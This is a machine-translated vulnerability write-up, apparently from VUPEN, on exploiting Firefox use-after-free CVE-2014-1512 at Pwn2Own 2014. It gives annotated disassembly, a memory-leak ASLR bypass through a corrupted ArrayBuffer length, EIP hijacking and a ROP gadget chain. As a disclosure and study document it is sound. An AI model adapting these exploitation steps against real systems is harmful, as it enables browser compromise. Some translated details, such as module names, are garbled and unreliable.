Hello everyone, Pwn2Own 2014 is exciting and this year we will challenge all mainstream browsers and operating systems to be safer than ever before. However, security does not mean it cannot be broken. It means more efforts are required to find vulnerabilities and exploit them successfully.
Pwn2Own this year, we used 11 zero-day vulnerabilities in total to test the security of Mozilla Firefox, Internet Explorer 11, Google Chrome, Adobe Reader XI, Adobe Flash, and Windows 8.1. We have reported all security vulnerabilities and submitted all of our exploits to affected vendors to help them fix these vulnerabilities to protect users.
During the Pwn2Own conference we discovered a memory release reuse security vulnerability in Mozilla Firefox (MFSA2014-30/CVE-2014-1512) that was very difficult to detect and utilize, because it requires the browser to specify the memory of the vulnerable code Branch to a specific memory status. This state is called memory-pressure by Mozilla.
1.Vulnerability Technical Analysis
The following code meets the memory release and reuse condition in Firefox v27 on Windows 8.1 (64bit.
When the page is loaded, the Pressure () function executes three tasks:
First, the spray () function is used to inject memory. Then, the for loop consumes more memory resources. Finally, Pressure () functions consume more resources by calling them recursively. Because the Pressure () function is a recursive function, the spray () function is called multiple times. The result of each stack injection operation executed by this function is saved to the tab array. In a few seconds, Firefox will experience insufficient memory, and Firefox will enter a specific memory state named memory pressure and low memory environment, it automatically activates Enhanced memory usage to protect browsers.
The code here is used to determine whether the status is activated:
// In "CheckMemAvailable()" / xul.dll 0x10AF2E5D mov eax, sLowCommitSpaceThreshold // 0x80 0x10AF2E62 xor ecx, ecx 0x10AF2E64 shl eax, 14h // eax = 0x08000000 [...] 0x10AF2E6E cmp dword ptr [ebp+stat.ullAvailPageFile], eax // left memory (in bytes) 0x10AF2E71 jnb short loc_10AF2E83 0x10AF2E73 call MaybeScheduleMemoryPressureEvent()//Enable The"memory-pressure" state
If the memory size is less than 0 × 08000000 bytes, the memory-pressure status is automatically activated. When firefox enters this state mode, the constructor of the BumpChunk object will be created:
// In "js::detail::BumpChunk * js::LifoAlloc::getOrCreateChunk()" / mozjs.dll 0x00BFEF3E push edi ; Size 0x00BFEF3F call ds:__imp__malloc 0x00BFEF45 add esp, 4 0x00BFEF48 test eax, eax 0x00BFEF4A jz loc_BFEFFB [...]
The object size is 0 × 2000 bytes, and the object is then released by js: LifoAlloc: freeAll:
// In "js::LifoAlloc::freeAll()" / mozjs.dll 0x00CD5AF5 mov eax, [this] 0x00CD5AF7 mov ecx, [eax+8] 0x00CD5AFA mov [this], ecx 0x00CD5AFC mov ecx, eax 0x00CD5AFE sub ecx, [eax+4] 0x00CD5B01 push eax// eax points to the "BumpChunk" object 0x00CD5B02 add [this+14h], ecx 0x00CD5B05 call ds:__imp__free // free() function 0x00CD5B0B pop ecx 0x00CD5B0C 0x00CD5B0C loc_CD5B0C: 0x00CD5B0C cmp [this], edi 0x00CD5B0E jnz short loc_CD5AF5
Here, the object will be deleted; however, a reference to the released object will still be stored in the memory; this reference will be reused by firefox in several functions, as shown below:
// In "js::GCMarker::processMarkStackTop()" / mozjs.dll [...] 0x00C07AC3 mov ecx, [edi+14h]// retrieve the ref to the freed object [...] 0x00C07AD8 mov ecx, [ecx]// read into the freed object [...] 0x00C07ADF mov edx, ecx 0x00C07AE1 shr edx, 3 0x00C07AE4 mov [esp+44h+obj], ecx 0x00C07AE8 and edx, 1FFFFh 0x00C07AEE mov ecx, edx 0x00C07AF0 and ecx, 1Fh 0x00C07AF3 mov eax, 1 0x00C07AF8 shl eax, cl 0x00C07AFA mov ecx, [esp+44h+obj] 0x00C07AFE and ecx, 0FFFFC0B0h 0x00C07B04 or ecx, 0FC0B0h 0x00C07B0A shr edx, 5 0x00C07B0D lea edx, [ecx+edx*4] 0x00C07B10 mov ecx, [edx] // a crash occurs here!
This causes a usable crash in firefox's js: GCMarker: processMarkStackTop () function.
2. Windows8.1 (64
Platform development and utilization
To successfully exploit this vulnerability, attackers must first control a released object, and then replace the data of the released object with the data specially crafted by the attacker. Objects with vulnerabilities must create multiple elements of the same size. This injection can be implemented by ArrayBuffers of 0 × 2000 bytes.
When the object is released and changed, it will be used multiple times by several functions, including js: GCMarker: processMarkStackTop () "and" js: types: TypeObject:: sweep (). The js: GCMarker: processMarkStackTop () function will use memory leakage to bypass ASLR, and then js: types: TypeObject: sweep () the function is re-obtained and controlled to a new code execution process. In Windows8.1, a calculator is displayed as a demo.
2.1 js: GCMarker: processMarkStackTop ()
Memory leakage:
As discussed earlier, released objects are reused in the js: GCMarker: processMarkStackTop () function:
// In "js::GCMarker::processMarkStackTop()" / mozjs.dll 0x00C07AC3 mov ecx, [edi+14h] // retrieve the ref to the freed object // this ref does not point to the beginning of the ArrayBuffer, // but points into the controlled values of the ArrayBuffer [...] 0x00C07AD8 mov ecx, [ecx] // [ecx] is fully controlled
Once ECX is fully controlled, firefox obtains the other two values by performing various operations on the value.
// The two values are named: value_1 and value_2 0x00C07ADF mov edx, ecx 0x00C07AE1 shr edx, 3 0x00C07AE4 mov [esp+44h+obj], ecx 0x00C07AE8 and edx, 1FFFFh 0x00C07AEE mov ecx, edx 0x00C07AF0 and ecx, 1Fh 0x00C07AF3 mov eax, 1 0x00C07AF8 shl eax, cl // value_1 is obtained here 0x00C07AFA mov ecx, [esp+44h+obj] 0x00C07AFE and ecx, 0FFFFC0B0h 0x00C07B04 or ecx, 0FC0B0h 0x00C07B0A shr edx, 5 0x00C07B0D lea edx, [ecx+edx*4] // value_2 is obtained here //eax contains value_1 //edx contains value_2
The following is a pseudo-code reference for the above calculation process:
ecx = fully controlled valuevalue_1 = 1 << ( ( ecx >> 3 ) & 0x0000001F )value_2 = ((ecx & 0xFFFFC0B0) | 0xFC0B0 ) + ((( ecx >> 3 ) & 0x1FFFF ) >> 5 ) * 4
As we can see, these two values can only be controlled within the function; after calculation, these two values are used in the following code:
// eax = value_1// edx = value_2 0x00C07B10 mov ecx, [edx] 0x00C07B12 test eax, ecx 0x00C07B14 jz loc_D647C5 // can be controlled [...] 0x00D647C5 loc_D647C5: 0x00D647C5 or ecx, eax 0x00D647C7 mov eax, [esp+44h+obj] 0x00D647CB push ebp 0x00D647CC mov [edx], ecx // memory corruption
In fact, value_2 corresponds to an address. If the jump to 0x00C07B14 is true, this address may be a corrupted memory address. There are several methods to execute Memory leakage for memory addresses like this, below is one of them:
First, the ArrayBuffers injection is used and its injection value is set to a predictable address. Then, the corrupted memory can damage the memory of the ArrayBuffer, especially the byteLength domain. The following is an example of the memory layout of ArrayBuffer.
</p>
When the byteLength created by the view ArrayBuffer is selected, the content of the view ArrayBuffer can be readable and writable. Here is a function prototype created for a view:
View Int32Array (ArrayBuffer buffer, unsigned long byteOffset, unsigned long length );
Attribute |
Type |
Description |
Buffer |
ArrayBuffer |
The ArrayBuffer object used to contain the TypedArray data. Read only. |
ByteOffset |
Unsigned long |
The index at which the TypedArray starts within the underlying ArrayBuffer. Read only. |
LengthInt |
Unsigned long |
The number of entries in the array. Read only. |
The size of an entry is always 4 bytes.
Comparison between the "byteLength" Field of ArrayBuffer's and the parameters of the Int32Array () function:
if( (ArrayBuffer's "length") >= (byteOffset arg) + (length arg) * 4 ){ [...] // will create the view }else{ error(); }
Here is the compilation code of the comparison process:
// In "namespace___TypedArrayObjectTemplate_int___fromBuffer()" / mozjs.dll // ecx points to start of ArrayBuffer's payload area 0x00E4873F mov edx, [eax-0Ch] // retrieve the "byteLength" field [...] 0x00E4874B mov eax, [ebp+lengthInt] // retrieve the 3rd arg of "Int32Array" [...] 0x00E48769 mov ecx, eax 0x00E4876B shl ecx, 2 [...] 0x00E48780 add ecx, ebx // ebx, 2nd argument of "Int32Array" 0x00E48782 cmp ecx, edx 0x00E48784 ja short loc_E48799// If the jump is taken, the view will not be created
The byteLength field of ArrayBuffer allows attackers to create a view to control it to a large enough value. The length is very large and can be read or written to ArrayBuffer.
As discussed earlier, value_2 can only be controlled within the function, so the byteLength field of ArrayBuffer can only be controlled in the function. However, memory Corruption allows us to add 0 × 01000000 bytes to the byteLength field, which allows us to read and write the memory of the next created view. In the second time, the byteLength of ArrayBuffer will be fully controlled.
For the second time, we can create a view by setting the byteLength of ArrayBuffer to 0 xFFFFFFFF to read or write any memory location of the user space.
In this step, we aim to obtain the base address for DLL loading. Now we can read the third dword in the flag header of ArrayBuffer to obtain the ingress Js. dll address. Here is the memory layout of the ArrayBuffer View:
</p>
Here is the relationship between the third dword and the javasjs. dll module:
CPU Stack Address Value 0x0A18FF10 0x049A0928 [...] 0x049A0928 0x049A2600 [...] 0x049A2600 0x00E8D4D8 [...] 0x00E8D4D8 0x00E9AFE4 ; ASCII "Int32Array"
The address 0x00E9AFE4 belongs to the javasjs. dll module. It allows us to create a ROP through the leaked address to bypass ASLR/DEP.
2.2 js: types: TypeObject: sweep ()
EIP control:
Now this memory leak has been implemented. When the released object is reused in the js: types: TypeObject: sweep () function, we must find a way to control the execution process, which can be completed by the following process:
// In "js::types::TypeObject::sweep()" / mozjs.dll 0x00C7F567 mov ecx, [eax] // ecx is fully controlled [...] 0x00C7F577 mov [esp+38h+var_10], ecx [...] 0x00C7F5CD lea eax, [esp+38h+var_10] 0x00C7F5D1 call js::EncapsulatedId::pre(void) // In "js::EncapsulatedId::pre()" 0x00C7FBA0 push ecx 0x00C7FBA1 mov eax, [eax] // controlled 0x00C7FBA3 mov ecx, ecx [...] 0x00C7FBB8 and eax, 0FFFFF000h 0x00C7FBBD mov eax, [eax] // controlled 0x00C7FBBF cmp byte ptr [eax+8], 0 0x00C7FBC3 jnz loc_D3F5C4 // jump must be taken 0x00C7FBC9 [...] 0x00D3F5C4 loc_D3F5C4: 0x00D3F5C4 mov edx, [eax+4] // controlled 0x00D3F5C7 push offset aWriteBarrier 0x00D3F5CC lea ecx, [esp+8+str] 0x00D3F5D0 push ecx 0x00D3F5D1 push edx // 1st arg 0x00D3F5D2 call js::gc::MarkStringUnbarriered() // In "js::gc::MarkStringUnbarriered()" 0x00C55FD0 mov ecx, [esp+name] 0x00C55FD4 mov edx, [esp+thingp] 0x00C55FD8 mov eax, [esp+trc] // retrieve 1st arg [...] 0x00C55FF0 push eax // set 1st arg for MarkInternal_JSString_() 0x00C55FF1 mov dword ptr [eax+8], 0 0x00C55FF8 mov [eax+0Ch], name 0x00C55FFB mov [eax+10h], 0FFFFFFFFh 0x00C56002 call MarkInternal_JSString_()
Then, the MarkInternal_JSString _ () function may re-obtain the control process:
// In "MarkInternal_JSString_()" 0x00C3ABA2 mov ebp, [esp+8+trc] // retrieve 1st arg 0x00C3ABA6 mov ecx, [ebp+4] // controlled 0x00C3ABA9 xor ebx, ebx 0x00C3ABAB push esi 0x00C3ABAC push edi 0x00C3ABAD cmp ecx, ebx 0x00C3ABAF jnz loc_C3AC9C // controlled, we take this jump [...] 0x00C3AC9C loc_C3AC9C: 0x00C3AC9C push 1 0x00C3AC9E push thingp 0x00C3AC9F push ebp 0x00C3ACA0 call ecx // redirect EIP here, pwnd!
We can see from the above; if ECX is set to null, the Code route will guide the process to re-control the EIP; when the leak operation is complete, [ebp + 4] must be set to null to avoid browser crashes caused by EIP control. When the leak operation is complete, the value of [ebp + 4] will be set to an executable memory containing the address (is there a problem ?). Then, the program Js. dll is used to establish the ROP to complete exploitation and development:
// Make eax point to another location (in the spray) 0x00D997C3 mov eax, [eax+588h] 0x00D997C9 mov edx, [eax] // controlled 0x00D997CB mov ecx, eax 0x00D997CD call dword ptr [edx] // call the 2nd gadget // Set a controlled value on the stack 0x00CD9855 push [ebp-80h] // controlled, address of the 4th gadget 0x00CD9858 mov ecx, state 0x00CD985A call dword ptr [eax+4] // call the 3rd gadget // Make esp point to a controlled location 0x00D2906A pop ecx 0x00D2906B xchg eax, esp 0x00D2906C mov eax, [eax] // address of the 4th gadget 0x00D2906E mov [esp], eax 0x00D29071 retn // return to the 4th gadget // Adjust the stack and enjoy 0x00BD062D add esp, 10h 0x00BD0630 retn/ will return to "VirtualProtect()" after// the stack has been properly crafted
Here, we can bypass ASLR/DEP in Windows8.1 to execute arbitrary code. It can also bypass EMET, but this is left as a exercise question for the readers of this article.
[Via vupen]